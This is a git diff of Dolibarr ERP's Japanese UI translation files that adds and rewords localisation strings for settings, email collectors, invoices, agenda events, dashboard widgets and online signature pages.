      「現在/次」を使用して、支払期間の日付をデルタの後の月の最初のN番目にする ( デルタはフィールド「%s」、Nはフィールド「%s」に格納される ) BaseCurrency=法人の参照通貨 ( これを変更するには、法人の設定に入る ) WarningNoteModuleInvoiceForFrenchLaw=このモジュール%sは、フランスの法律 ( Loi Finance 2016 ) に準拠している。 -WarningNoteModulePOSForFrenchLaw=このモジュール%sは、モジュールNon Reversible Logsが自動的に有効化されるため、フランスの法律 ( Loi Finance 2016 ) に準拠している。 +WarningNoteModulePOSForFrenchLaw=このモジュール%sは、モジュールNon Reversible Logsが自動的に活性化されるため、フランスの法律 ( Loi Finance 2016 ) に準拠している。 WarningInstallationMayBecomeNotCompliantWithLaw=外部モジュールであるモジュール%sをインストールしようとしている。外部モジュールをアクティブ化すると、そのモジュールの発行元を信頼し、このモジュールがアプリケーションの動作に悪影響を与えず、国の法律 ( %s ) に準拠していることを確認できる。モジュールが違法な機能を導入した場合、違法なソフトウェアの使用について責任を負うことになる。 MAIN_PDF_MARGIN_LEFT=PDFの左マージン MAIN_PDF_MARGIN_RIGHT=PDFの右マージン @@ -2053,6 +2081,8 @@ RemoveSpecialChars=特殊文字を削除する COMPANY_AQUARIUM_CLEAN_REGEX=値をクリーンアップするための正規表現フィルタ ( COMPANY_AQUARIUM_CLEAN_REGEX ) COMPANY_DIGITARIA_CLEAN_REGEX=値をクリーンアップするための正規表現フィルタ ( COMPANY_DIGITARIA_CLEAN_REGEX ) COMPANY_DIGITARIA_UNIQUE_CODE=複製は許可されていない +RemoveSpecialWords=顧客またはサプライヤーのサブアカウントを生成するときに特定の単語を削除する +RemoveSpecialWordsHelp=顧客または仕入先の勘定科目を計算する前に、クリーニングする単語を指定する。 ";" で単語を区切る GDPRContact=データ保護責任者 ( DPO、データプライバシーまたはGDPRの連絡先 ) GDPRContactDesc=個人データを情報システムに保存する場合は、ここで一般データ保護規則の責任者を指名できる HelpOnTooltip=ツールチップに表示するヘルプテキスト @@ -2060,7 +2090,7 @@ HelpOnTooltipDesc=このフィールドがフォームに表示されたとき YouCanDeleteFileOnServerWith=次のコマンドラインを使用して、サーバー上のこのファイルを削除できる:
      %s ChartLoaded=ロードされた勘定科目表 SocialNetworkSetup=モジュールソーシャルネットワークの設定 -EnableFeatureFor= %sの機能を有効にする +EnableFeatureFor= %sの機能を有効化 VATIsUsedIsOff=注:消費税またはVATを使用するオプションは、メニュー%s-%sで Off に設定されているため、消費税または使用される付加価値税は常に0になる。 SwapSenderAndRecipientOnPDF=PDFドキュメントの送信者と受信者のアドレス位置を入れ替える FeatureSupportedOnTextFieldsOnly=警告、機能性はテキストフィールドとコンボリストでのみサポートされる。また、この機能性を引き出すには、URLパラメータ action=create または action=edit を設定するか、ページ名が 'new.php' で終わる必要がある。 @@ -2080,24 +2110,25 @@ MailboxTargetDirectory=メールボックスのターゲットディレクトリ EmailcollectorOperations=コレクターによる操作 EmailcollectorOperationsDesc=操作は上から下の順序で実行される MaxEmailCollectPerCollect=収集ごとに収集される電子メールの最大数 +TestCollectNow=テストコレクト CollectNow=今すぐ収集 ConfirmCloneEmailCollector=メールコレクタ%sのクローンを作成してもよいか? DateLastCollectResult=最新の取得試行の日付 DateLastcollectResultOk=最新の取得成功の日付 LastResult=最新の結果 EmailCollectorHideMailHeaders=収集された電子メールの保存されたコンテンツに電子メールヘッダーのコンテンツを含めないこと -EmailCollectorHideMailHeadersHelp=有効にすると、アジェンダイベントとして保存される電子メールコンテンツの最後に電子メールヘッダーは追加されない。 +EmailCollectorHideMailHeadersHelp=有効化と、アジェンダイベントとして保存される電子メールコンテンツの最後に電子メールヘッダーは追加されない。 EmailCollectorConfirmCollectTitle=メール収集確定 EmailCollectorConfirmCollect=このコレクタを今すぐ実行するか? -EmailCollectorExampleToCollectTicketRequestsDesc=いくつかのルールに一致する電子メールを収集し、電子メール情報を含むチケットを自動的に作成する(モジュールチケットを有効化する必要がある)。電子メールでサポートを提供する場合は、このコレクタを使用できるため、チケット要求が自動的に生成される。 Collect_Responsesも有効化して、チケットビューで直接クライアントの回答を収集する(Dolibarrから返信する必要がある)。 +EmailCollectorExampleToCollectTicketRequestsDesc=いくつかのルールに一致する電子メールを収集し、電子メール情報を含むチケットを自動的に作成する(モジュールチケットを活性化する必要がある)。電子メールでサポートを提供する場合は、このコレクタを使用できるため、チケット要求が自動的に生成される。 Collect_Responsesも活性化して、チケットビューで直接クライアントの回答を収集する(Dolibarrから返信する必要がある)。 EmailCollectorExampleToCollectTicketRequests=チケット要求の収集例(最初のメッセージのみ) EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=メールボックスの「送信済み」ディレクトリをスキャンして、Dolibarrからではなく、電子メールソフトウェアから直接別の電子メールの応答として送信された電子メールを見つけます。そのような電子メールが見つかった場合、回答のイベントはDolibarrに記録される EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=外部の電子メールソフトウェアから送信された電子メールの回答を収集する例 -EmailCollectorExampleToCollectDolibarrAnswersDesc=アプリケーションから送信された電子メールの回答であるすべての電子メールを収集する。電子メール応答を含むイベント(モジュールアジェンダを有効にする必要があ)は、適切な場所に記録される。たとえば、アプリケーションから電子メールでチケットの商取引提案、注文、請求書、またはメッセージを送信し、受信者が電子メールに応答すると、システムは自動的に応答をキャッチしてERPに追加する。 +EmailCollectorExampleToCollectDolibarrAnswersDesc=アプリケーションから送信された電子メールの回答であるすべての電子メールを収集する。電子メール応答を含むイベント(モジュールアジェンダを有効化する必要があ)は、適切な場所に記録される。たとえば、アプリケーションから電子メールでチケットの商取引提案、注文、請求書、またはメッセージを送信し、受信者が電子メールに応答すると、システムは自動的に応答をキャッチしてERPに追加する。 EmailCollectorExampleToCollectDolibarrAnswers=Dolibarrから送信されたメッセージへの回答である全受信メッセージを収集する例 -EmailCollectorExampleToCollectLeadsDesc=いくつかのルールに一致する電子メールを収集し、電子メール情報を使用してリードを自動的に作成する(モジュールプロジェクトを有効にする必要がある)。モジュールプロジェクト(1リード= 1プロジェクト)を使用してリードをフォローする場合は、このコレクタを使用できる。これにより、リードが自動的に生成される。コレクタのCollect_Responsesも有効になっている場合、リード、プロポーザル、またはその他のオブジェクトから電子メールを送信すると、アプリケーションに直接顧客またはパートナーの回答が表示される場合がある。
      注:この最初の例では、リードのタイトルが電子メールを含めて生成される。サードパーティがデータベース(新規顧客)で見つからない場合、リードはID1のサードパーティに接続される。 +EmailCollectorExampleToCollectLeadsDesc=いくつかのルールに一致する電子メールを収集し、電子メール情報を使用してリードを自動的に作成する(モジュールプロジェクトを有効化する必要がある)。モジュールプロジェクト(1リード= 1プロジェクト)を使用してリードをフォローする場合は、このコレクタを使用できる。これにより、リードが自動的に生成される。コレクタのCollect_Responsesも有効になっている場合、リード、プロポーザル、またはその他のオブジェクトから電子メールを送信すると、アプリケーションに直接顧客またはパートナーの回答が表示される場合がある。
      注:この最初の例では、リードのタイトルが電子メールを含めて生成される。サードパーティがデータベース(新規顧客)で見つからない場合、リードはID1のサードパーティに接続される。 EmailCollectorExampleToCollectLeads=リードの収集例 -EmailCollectorExampleToCollectJobCandidaturesDesc=求人に応募するメールを収集する(モジュール採用を有効にする必要がある)。ジョブ要求の候補を自動的に作成する場合は、このコレクタを完成させることができる。注:この最初の例では、候補者のタイトルが電子メールを含めて生成される。 +EmailCollectorExampleToCollectJobCandidaturesDesc=求人に応募するメールを収集する(モジュール採用を有効化する必要がある)。ジョブ要求の候補を自動的に作成する場合は、このコレクタを完成させることができる。注:この最初の例では、候補者のタイトルが電子メールを含めて生成される。 EmailCollectorExampleToCollectJobCandidatures=電子メールで受け取った求職者の収集例 NoNewEmailToProcess=処理する新規電子メール ( 一致するフィルタ ) はない NothingProcessed=何もしていない @@ -2109,6 +2140,7 @@ CodeLastResult=最新の結果コード NbOfEmailsInInbox=ソースディレクトリ内の電子メールの数 LoadThirdPartyFromName=%sで検索している取引先をロードする ( ロードのみ ) LoadThirdPartyFromNameOrCreate=%sで検索している取引先をロードする ( 見つからない場合は作成する ) +LoadContactFromEmailOrCreate=%s で連絡先検索をロードする (見つからない場合は作成する) AttachJoinedDocumentsToObject=メールトピックにオブジェクトの参照が見つかった場合は、添付ファイルをオブジェクトドキュメントに保存する。 WithDolTrackingID=Dolibarrから送信された最初の電子メールによって開始された会話からのメッセージ WithoutDolTrackingID=Dolibarrから送信されていない最初の電子メールによって開始された会話からのメッセージ @@ -2130,9 +2162,9 @@ ConfirmUnactivation=モジュールのリセットを確定する OnMobileOnly=小画面 ( スマートフォン ) のみ DisableProspectCustomerType=「見込み客+顧客」の取引先種別を無効にする ( したがって、取引先は「見込み客」または「顧客」である必要があるが、両方にすることはできない ) MAIN_OPTIMIZEFORTEXTBROWSER=目の不自由な人のためのインターフェースを簡素化する -MAIN_OPTIMIZEFORTEXTBROWSERDesc=目の不自由な方、またはLynxやLinksなどのテキストブラウザからアプリケーションを使用する場合は、このオプションを有効にすること。 +MAIN_OPTIMIZEFORTEXTBROWSERDesc=目の不自由な方、またはLynxやLinksなどのテキストブラウザからアプリケーションを使用する場合は、このオプションを有効化すること。 MAIN_OPTIMIZEFORCOLORBLIND=色覚異常の人のインターフェースの色を変更する -MAIN_OPTIMIZEFORCOLORBLINDDesc=色覚異常の人の場合は、このオプションを有効にする。場合によっては、インターフェイスによって色の設定が変更され、コントラストが向上する。 +MAIN_OPTIMIZEFORCOLORBLINDDesc=色覚異常の人の場合は、このオプションを有効化。場合によっては、インターフェイスによって色の設定が変更され、コントラストが向上する。 Protanopia=1型2色覚赤色盲 Deuteranopes=2型2色覚緑色盲 Tritanopes=3型2色覚青色盲 @@ -2149,9 +2181,9 @@ LogsLinesNumber=【ログ】タブに表示する行数 UseDebugBar=デバッグバーを使用する DEBUGBAR_LOGS_LINES_NUMBER=コンソールに保持する最後のログ行の数 WarningValueHigherSlowsDramaticalyOutput=警告、値を大きくすると出力が劇的に遅くなる -ModuleActivated=モジュール%sが有効化され、インターフェイスの速度が低下する -ModuleActivatedWithTooHighLogLevel=モジュール%sが高すぎるロギングレベルで有効化されている(パフォーマンスとセキュリティを向上させるために、より低いレベルを使用してみること) -ModuleSyslogActivatedButLevelNotTooVerbose=モジュール%sが有効化され、ログレベル(%s)が正しい(冗長すぎない) +ModuleActivated=モジュール%sが活性化され、インターフェイスの速度が低下する +ModuleActivatedWithTooHighLogLevel=モジュール%sが高すぎるロギングレベルで活性化されている(パフォーマンスとセキュリティを向上させるために、より低いレベルを使用してみること) +ModuleSyslogActivatedButLevelNotTooVerbose=モジュール%sが活性化され、ログレベル(%s)が正しい(冗長すぎない) IfYouAreOnAProductionSetThis=実稼働環境を使用している場合は、このプロパティを%sに設定する必要がある。 AntivirusEnabledOnUpload=アップロードされたファイルでウイルス対策が有効になっている SomeFilesOrDirInRootAreWritable=一部のファイルやディレクトリが読取り専用モードになっていない @@ -2183,10 +2215,11 @@ ShowProjectLabel=プロジェクトラベル PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=取引先名にエイリアスを含める THIRDPARTY_ALIAS=取引先に名前を付ける-エイリアス取引先 ALIAS_THIRDPARTY=エイリアス取引先-取引先に名前を付ける +PDFIn2Languages=ラベルを 2 つの異なる言語で PDF に表示 PDF_USE_ALSO_LANGUAGE_CODE=PDF内の一部のテキストを同じ生成PDFで2つの異なる言語で複製する場合は、ここでこの2番目の言語を設定して、生成されたPDFに同じページに2つの異なる言語が含まれるようにする必要がある。1つはPDFの生成時に選択され、もう1つは ( これをサポートしているPDFテンプレートはごくわずか ) 。 PDFごとに1つの言語を空のままにする。 PDF_USE_A=デフォルト形式のPDFではなくPDF / A形式のPDFドキュメントを生成する FafaIconSocialNetworksDesc=FontAwesomeアイコンのコードをここに入力する。 FontAwesomeとは何かわからない場合は、一般的な値fa-address-bookを使用できる。 -RssNote=注:各RSSフィード定義は、ダッシュボードで使用できるようにするために有効にする必要があるウィジェットを提供する +RssNote=注:各RSSフィード定義は、ダッシュボードで使用できるようにするために有効化の必要があるウィジェットを提供する JumpToBoxes=【設定】-> 【ウィジェット】にジャンプする MeasuringUnitTypeDesc=ここでは、「サイズ」、「表面」、「体積」、「重量」、「時間」などの値を使用する MeasuringScaleDesc=スケールは、デフォルトの参照単位に一致するように小数部を移動する必要がある場所の数。 「時間」単位種別の場合、秒数。 80〜99の値は予約値。 @@ -2211,12 +2244,12 @@ MailToPartnership=パートナーシップ AGENDA_EVENT_DEFAULT_STATUS=フォームからイベントを作成するときのデフォルトのイベント状態 YouShouldDisablePHPFunctions=PHP関数を無効にする必要がある IfCLINotRequiredYouShouldDisablePHPFunctions=カスタムコードでシステムコマンドを実行する必要がある場合を除いて、PHP関数を無効にする必要がある -PHPFunctionsRequiredForCLI=シェルの目的(スケジュールされたジョブのバックアップやanitivursプログラムの実行など)では、PHP関数を保持する必要がある +PHPFunctionsRequiredForCLI=シェルの目的 (スケジュールされたジョブのバックアップやウイルス対策プログラムの実行など) では、PHP 関数を保持する必要がある。 NoWritableFilesFoundIntoRootDir=共通プログラムの書き込み可能なファイルまたはディレクトリがルートディレクトリに見つからない(良好) RecommendedValueIs=推奨:%s Recommended=推奨される NotRecommended=推奨されない -ARestrictedPath=いくつかの制限されたパス +ARestrictedPath=データ ファイルの一部の制限付きパス CheckForModuleUpdate=外部モジュールの更新を確認する CheckForModuleUpdateHelp=このアクションは、外部モジュールのエディターに接続して、新しいバージョンが利用可能かどうかを確認する。 ModuleUpdateAvailable=アップデートが利用可能 @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=外部モジュールの更新が見つからない SwaggerDescriptionFile=Swagger API記述ファイル(たとえば、redocで使用するため) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=非推奨のWS APIが有効化された。それよりもREST APIを使用すべきである。 RandomlySelectedIfSeveral=画像が複数ある場合はランダムに選択 -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=提案書、注文書、請求書用。 DatabasePasswordObfuscated=データベースのパスワードは conf ファイルで難読化されている DatabasePasswordNotObfuscated=データベースのパスワードは conf ファイルで難読化されていない APIsAreNotEnabled=APIモジュールが有効になっていない @@ -2245,13 +2278,13 @@ DashboardDisableBlockBank=銀行のサムネを無効にする DashboardDisableBlockAdherent=成員資格のサムネを無効にする DashboardDisableBlockExpenseReport=経費報告書sのサムネを無効にする DashboardDisableBlockHoliday=葉のサムネを無効にする -EnabledCondition=フィールドを有効にする条件(有効にしない場合、可視性は常にオフになる) -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=2番目の税金を使用する場合は、最初の消費税も有効にする必要がある -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=3番目の税金を使用する場合は、最初の消費税も有効にする必要がある +EnabledCondition=フィールドの有効化条件(有効にしない場合、可視性は常にオフになる) +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=2番目の税金を使用する場合は、最初の消費税も有効化の必要がある +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=3番目の税金を使用する場合は、最初の消費税も有効化の必要がある LanguageAndPresentation=言語とプレゼンテーション SkinAndColors=肌と色 -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=2番目の税金を使用する場合は、最初の消費税も有効にする必要がある -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=3番目の税金を使用する場合は、最初の消費税も有効にする必要がある +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=2番目の税金を使用する場合は、最初の消費税も有効化の必要がある +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=3番目の税金を使用する場合は、最初の消費税も有効化の必要がある PDF_USE_1A=PDF / A-1b形式でPDFを生成する MissingTranslationForConfKey = %sの翻訳がない NativeModules=ネイティブモジュール @@ -2264,10 +2297,10 @@ LateWarningAfter=後の「遅延」警告 TemplateforBusinessCards=異なるサイズの名刺のテンプレート InventorySetup= 目録設定 ExportUseLowMemoryMode=低メモリモードを使用する -ExportUseLowMemoryModeHelp=低メモリモードを使用して、ダンプのexecを実行する(圧縮は、PHPメモリではなくパイプを介して行われる)。この方法では、ファイルが完了したことを確認できず、失敗した場合はエラーメッセージを報告できない。 +ExportUseLowMemoryModeHelp=低メモリ モードを使用してダンプ ファイルを生成する (圧縮は、PHP メモリではなく、パイプを介して行われます)。このメソッドでは、ファイルが完全であることを確認できず、失敗した場合にエラー メッセージを報告できない。メモリ不足エラーが発生した場合に使用する。 ModuleWebhookName = Webhook -ModuleWebhookDesc = dolibarrトリガーをキャッチしてURLに送信するためのインターフェース +ModuleWebhookDesc = dolibarr トリガーをキャッチし、イベントのデータを URL に送信するためのインターフェイス WebhookSetup = Webhookのセットアップ Settings = 設定 WebhookSetupPage = Webhookセットアップページ @@ -2288,6 +2321,8 @@ IconOnly=アイコンのみ-ツールチップのみのテキスト INVOICE_ADD_ZATCA_QR_CODE=請求書にZATCAQRコードを表示する INVOICE_ADD_ZATCA_QR_CODEMore=一部のアラビア語の国では、請求書にこのQRコードが必要 INVOICE_ADD_SWISS_QR_CODE=請求書にスイスのQR-Billコードを表示する +INVOICE_SHOW_SHIPPING_ADDRESS=配送先住所を表示 +INVOICE_SHOW_SHIPPING_ADDRESSMore=フランスの強制言及 UrlSocialNetworksDesc=ソーシャルネットワークのURLリンク。ソーシャルネットワークIDを含む可変部分には{socialid}を使用する。 IfThisCategoryIsChildOfAnother=このカテゴリが別カテゴリの子である場合 DarkThemeMode=ダークテーマモード @@ -2307,3 +2342,37 @@ UsePassword=パスワードを使用する UseOauth=OAUTH トークンを使用する Images=画像 MaxNumberOfImagesInGetPost=フォームで送信される HTML フィールドで許可される画像の最大数 +MaxNumberOfPostOnPublicPagesByIP=1 か月間に同じ IP アドレスを持つ公開ページへの投稿の最大数 +CIDLookupURL=このモジュールは、外部ツールがサードパーティの名前またはその電話番号から連絡先を取得するために使用できるURLを提供する。使用するURLは次のとおり。 +ScriptIsEmpty=スクリプトが空です +ShowHideTheNRequests=%s SQL リクエスト(s)の表示/非表示 +DefinedAPathForAntivirusCommandIntoSetup=ウイルス対策プログラムのパスを %s に定義する。 +TriggerCodes=トリガー可能なイベント +TriggerCodeInfo=Web リクエストのポストを確実に生成するトリガー コード(s)をここに入力する (外部 URL のみが許可される)。複数のトリガー コードをコンマで区切って入力できる。 +EditableWhenDraftOnly=オフの場合、オブジェクトがドラフト ステータスの場合にのみ値を変更できる +CssOnEdit=編集ページの CSS +CssOnView=ビューページの CSS +CssOnList=リストページのCSS +HelpCssOnEditDesc=フィールドの編集時に使用される Css。
      例: 「minwiwdth100 maxwidth500 widthcentpercentminusx」 +HelpCssOnViewDesc=フィールドを表示するときに使用される Css。 +HelpCssOnListDesc=フィールドがリスト テーブル内にある場合に使用される Css。
      例: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=受信用に生成されたドキュメントで注文数量を非表示にする +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=受付用に生成されたドキュメントに価格を表示する +WarningDisabled=警告無効 +LimitsAndMitigation=アクセス制限と緩和 +DesktopsOnly=デスクトップのみ +DesktopsAndSmartphones=デスクトップとスマートフォン +AllowOnlineSign=オンライン署名を許可する +AllowExternalDownload=外部ダウンロードを許可する (ログインなし、共有リンクを使用) +DeadlineDayVATSubmission=翌月のVAT提出締切日 +MaxNumberOfAttachementOnForms=フォーム内の結合ファイルの最大数 +IfDefinedUseAValueBeetween=定義されている場合は、%s と %s の間の値を使用する +Reload=リロード +ConfirmReload=モジュールのリロードを確定 +WarningModuleHasChangedLastVersionCheckParameter=警告: モジュール %s は、ページ アクセスごとにバージョンをチェックするパラメータを設定している。これは、モジュールを管理するページを不安定にする可能性がある、不適切で許可されていない慣行です。これを修正するには、モジュールの作成者に連絡すること。 +WarningModuleHasChangedSecurityCsrfParameter=警告: モジュール %s はインスタンスの CSRF セキュリティを無効にしました。このアクションは疑わしいものであり、インストールが保護されていない可能性がある。説明については、モジュールの作成者に連絡すること。 +EMailsInGoingDesc=受信メールはモジュール %s によって管理される。受信メールをサポートする必要がある場合は、有効にして構成する必要がある。 +MAIN_IMAP_USE_PHPIMAP=ネイティブ PHP IMAP の代わりに、IMAP 用の PHP-IMAP ライブラリを使用する。これにより、IMAP に OAuth2 接続を使用することもできる (モジュール OAuth も有効にする必要がある)。 +MAIN_CHECKBOX_LEFT_COLUMN=フィールドと行を選択するための列を左側に表示します (デフォルトでは右側)。 + +CSSPage=CSS スタイル diff --git a/htdocs/langs/ja_JP/agenda.lang b/htdocs/langs/ja_JP/agenda.lang index 4cecfc858cd..bd62b078c42 100644 --- a/htdocs/langs/ja_JP/agenda.lang +++ b/htdocs/langs/ja_JP/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=出荷%sは下書き状態に戻る ShipmentDeletedInDolibarr=出荷%sは削除済 ShipmentCanceledInDolibarr=発送%sがキャンセルされた ReceptionValidatedInDolibarr=領収%sは検証済 +ReceptionDeletedInDolibarr=受信 %s 削除 ReceptionClassifyClosedInDolibarr=領収%sは閉鎖済指定 OrderCreatedInDolibarr=注文%sは作成済 OrderValidatedInDolibarr=注文%sは検証済 @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=電子メールで送信された仕入先の請求 ShippingSentByEMail=電子メールで送信された出荷%s ShippingValidated= 出荷%sは検証済 InterventionSentByEMail=電子メールで送信された介入%s +ProjectSentByEMail=電子メールで送信されたプロジェクト %s ProposalDeleted=提案は削除済 OrderDeleted=注文は削除済 InvoiceDeleted=請求書は削除済 @@ -175,5 +177,6 @@ ReminderType=コールバック種別 AddReminder=このイベントの自動リマインダー通知を作成する ErrorReminderActionCommCreation=このイベントのリマインダー通知の作成中にエラーが発生した BrowserPush=ブラウザのポップアップ通知 +Reminders=リマインダー ActiveByDefault=デフォルトで有効 Until=それまで diff --git a/htdocs/langs/ja_JP/banks.lang b/htdocs/langs/ja_JP/banks.lang index c992ea2dcc5..b3b94130457 100644 --- a/htdocs/langs/ja_JP/banks.lang +++ b/htdocs/langs/ja_JP/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=銀行の住所 BankAccountCountry=口座国 BankAccountOwner=口座所有者名 BankAccountOwnerAddress=口座所有者のアドレス +BankAccountOwnerZip=アカウント所有者の zip +BankAccountOwnerTown=アカウント所有者の町 +BankAccountOwnerCountry=アカウント所有者の国 CreateAccount=口座を作成 NewBankAccount=新規口座 NewFinancialAccount=新規金融口座 diff --git a/htdocs/langs/ja_JP/bills.lang b/htdocs/langs/ja_JP/bills.lang index 8e1cade94a6..8b7397ee59f 100644 --- a/htdocs/langs/ja_JP/bills.lang +++ b/htdocs/langs/ja_JP/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=顧客請求書の統計 BillsStatisticsSuppliers=仕入先請求書の統計 DisabledBecauseDispatchedInBookkeeping=請求書が簿記に発送されたため無効 DisabledBecauseNotLastInvoice=請求書が消去できないため無効。この後にいくつか請求書が記録されたら、消去によりカウンターに穴を作成することになる。 +DisabledBecauseNotLastSituationInvoice=請求書は消去できないため、無効になっている。この請求書は、シチュエーション請求書サイクルの最後の請求書ではない。 DisabledBecauseNotErasable=消去できないため無効 InvoiceStandard=標準請求書 InvoiceStandardAsk=標準請求書 InvoiceStandardDesc=この種の請求書は一般的な請求書。 +InvoiceStandardShort=標準 InvoiceDeposit=頭金請求書 InvoiceDepositAsk=頭金請求書 InvoiceDepositDesc=この種の請求書は、頭金を受け取った時に請求される。 @@ -24,6 +26,7 @@ InvoiceProForma=見積請求書 InvoiceProFormaAsk=見積請求書 InvoiceProFormaDesc= 見積請求書は真正の請求書の様相だが、会計的には値がない。 InvoiceReplacement=交換用の請求書 +InvoiceReplacementShort=置換 InvoiceReplacementAsk=請求書の交換請求書 InvoiceReplacementDesc= 交換用請求書は、支払をまだ受け取っていない請求書を完全に交換するために使用される。

      注:交換できるのは、支払のない請求書のみ。交換する請求書がまだ閉じられていない場合は、自動的に閉じられ「放棄」になる。 InvoiceAvoir=貸方表 @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=この部分ま ErrorInvoiceIsNotLastOfSameType=エラー:請求書%sの日付は%s。同じタイプの請求書(%s)の場合は、最終日以降である必要がある。請求書の日付を変更すること。 BillFrom=期初 BillTo=期末 +ShippingTo=への配送 ActionsOnBill=請求書上のアクション RecurringInvoiceTemplate=テンプレート/定期的な請求書 NoQualifiedRecurringInvoiceTemplateFound=生成に適格な定期的なテンプレート請求書はない。 @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=支払は登録済、請求書%sは支払 SendEmailsRemindersOnInvoiceDueDate=未払いの請求書については、メールでリマインダーを送信する MakePaymentAndClassifyPayed=支払の記録 BulkPaymentNotPossibleForInvoice=請求書%s(タイプまたは状態が不良)の一括支払はできない +MentionVATDebitOptionIsOn=借方に基づいて税金を支払うオプション +MentionCategoryOfOperations=操作のカテゴリ +MentionCategoryOfOperations0=商品の配送 +MentionCategoryOfOperations1=サービスの提供 +MentionCategoryOfOperations2=混合 - 商品の配送とサービスの提供 diff --git a/htdocs/langs/ja_JP/bookmarks.lang b/htdocs/langs/ja_JP/bookmarks.lang index 64131eba0ec..cf1d6af74ea 100644 --- a/htdocs/langs/ja_JP/bookmarks.lang +++ b/htdocs/langs/ja_JP/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=リンクされたページを BookmarksManagement=ブックマークの管理 BookmarksMenuShortCut=Ctrl +シフト+ m NoBookmarks=ブックマークが未定義 +NoBookmarkFound=ブックマークが見つからない diff --git a/htdocs/langs/ja_JP/boxes.lang b/htdocs/langs/ja_JP/boxes.lang index 50556765e00..ef35860c467 100644 --- a/htdocs/langs/ja_JP/boxes.lang +++ b/htdocs/langs/ja_JP/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=最新の介入 BoxCurrentAccounts=口座残高 BoxTitleMemberNextBirthdays=今月の誕生日(構成員) BoxTitleMembersByType=タイプと状態別の構成員 +BoxTitleMembersByTags=タグとステータス別のメンバー BoxTitleMembersSubscriptionsByYear=年ごとの構成員サブスクリプション BoxTitleLastRssInfos=%sからの最新の%sニュース BoxTitleLastProducts=製品/サービス:最後に変更された%s @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=領収待ちのサプライヤー注文 BoxTitleLastModifiedContacts=最近修正された連絡先・アドレス:%s件 BoxMyLastBookmarks=ブックマーク:最新の%s BoxOldestExpiredServices=最も古いアクティブな期限切れのサービス +BoxOldestActions=行う最も古いイベント BoxLastExpiredServices=アクティブな期限切れのサービスを持つ最新の%s最も古い連絡先 BoxTitleLastActionsToDo=実行する最新の%sアクション +BoxTitleOldestActionsToDo=実行する最も古い %s イベント、未完了 BoxTitleLastContracts=変更された最新の%s契約 BoxTitleLastModifiedDonations=変更された最新の%s寄付 BoxTitleLastModifiedExpenses=変更された最新の%s経費報告書s @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=上限に達した顧客 UsersHome=ユーザとグループ MembersHome=ホーム成員資格 ThirdpartiesHome=取引先 +productindex=ホーム 製品とサービス +mrpindex=ホーム MRP +commercialindex=ホーム 商取引 +projectsindex=ホーム プロジェクト +invoiceindex=ホーム インボイス +hrmindex=ホーム インボイス TicketsHome=チケット +stockindex=ホーム 在庫 +sendingindex=ホーム 配送 +receptionindex=ホーム 受領 +activityindex=ホーム アクティビティ +proposalindex=ホーム 提案 +ordersindex=ホーム 注文 +orderssuppliersindex=ホーム 仕入先注文 +contractindex=ホーム 契約 +interventionindex=ホーム 出張 +suppliersproposalsindex=ホーム 仕入先提案 +donationindex=ホーム 寄付 +specialexpensesindex=ホーム 特別費用 +expensereportindex=ホーム 経費報告書 +mailingindex=ホーム 郵送 +opensurveyindex=ホーム 公開アンケート AccountancyHome=会計 ValidatedProjects=検証済プロジェクト diff --git a/htdocs/langs/ja_JP/commercial.lang b/htdocs/langs/ja_JP/commercial.lang index f5741ede8fa..30db64150bf 100644 --- a/htdocs/langs/ja_JP/commercial.lang +++ b/htdocs/langs/ja_JP/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=見込の状態 DraftPropals=下書き商取引提案 NoLimit=制限なし ToOfferALinkForOnlineSignature=オンライン署名へのリンク -WelcomeOnOnlineSignaturePage=%sからの商取引提案sを受諾するページへようこそ -ThisScreenAllowsYouToSignDocFrom=この画面では、見積書/商取引提案を受諾して署名するか、拒否することができる -ThisIsInformationOnDocumentToSign=これは、承認または拒否するドキュメントに関する情報。 +WelcomeOnOnlineSignaturePageProposal=%sからの商取引提案sを受諾するページへようこそ +WelcomeOnOnlineSignaturePageContract=%s 契約 PDF 署名ページへようこそ +WelcomeOnOnlineSignaturePageFichinter=%s 出張 PDF 署名ページへようこそ +ThisScreenAllowsYouToSignDocFromProposal=この画面では、見積書/商取引提案を受諾して署名するか、拒否することができる +ThisScreenAllowsYouToSignDocFromContract=この画面では、オンラインで PDF 形式の契約書に署名することができる。 +ThisScreenAllowsYouToSignDocFromFichinter=この画面では、オンラインで PDF 形式の出張に署名できる。 +ThisIsInformationOnDocumentToSignProposal=これは、承認または拒否するドキュメントに関する情報。 +ThisIsInformationOnDocumentToSignContract=これは、署名する契約に関する情報です +ThisIsInformationOnDocumentToSignFichinter=署名すべき出張に関して SignatureProposalRef=見積書/商取引提案%s の署名 +SignatureContractRef=契約書の署名 %s +SignatureFichinterRef=出張の署名 %s FeatureOnlineSignDisabled=オンライン署名の機能が無効になっているか、機能が有効になる前にドキュメントが生成された diff --git a/htdocs/langs/ja_JP/companies.lang b/htdocs/langs/ja_JP/companies.lang index d6f1e81f0d8..6802aa4b416 100644 --- a/htdocs/langs/ja_JP/companies.lang +++ b/htdocs/langs/ja_JP/companies.lang 